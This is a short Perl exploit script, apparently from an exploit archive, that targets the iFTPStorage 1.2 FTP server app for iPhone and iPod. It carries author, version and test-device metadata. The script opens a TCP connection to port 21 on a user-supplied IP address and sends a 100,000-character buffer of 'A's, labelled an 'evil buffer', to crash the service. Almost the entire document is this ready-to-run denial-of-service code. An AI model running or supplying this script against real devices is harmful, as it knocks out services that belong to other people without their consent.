iFTPStorage For iPhone / iPod Denial Of Service

`  
  
  
#!/usr/bin/perl  
#  
# Exploit: iFTPStorage for Iphone\Ipod - Remote Dos Exploit  
# Date: 20/02/10  
# Author: Ale46  
# Software Link:  
http://itunes.apple.com/us/app/iftpstorage/id333357690?mt=8  
# Version: 1.2  
# Tested on: Iphone 3GS with 3.1.2 firmware  
# Note: iFTSTorage Lite is also vulnerable  
# Greetz: Gandalf  
  
use IO::Socket;  
  
if (@ARGV<1){  
print ("Usage: ./iFTPStorage <server_ip>\n");  
exit();  
}  
  
my $host = $ARGV[0];  
my $port = 21;  
my $stuff = "A"*100000;  
my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,  
PeerPort => $port);  
unless ($socket) { die "Can\'t connect to $host" }  
print "Sending evil buffer..\n";  
sleep(2);  
print $socket $stuff;  
sleep(2);  
print "Crashed..";  
  
  
`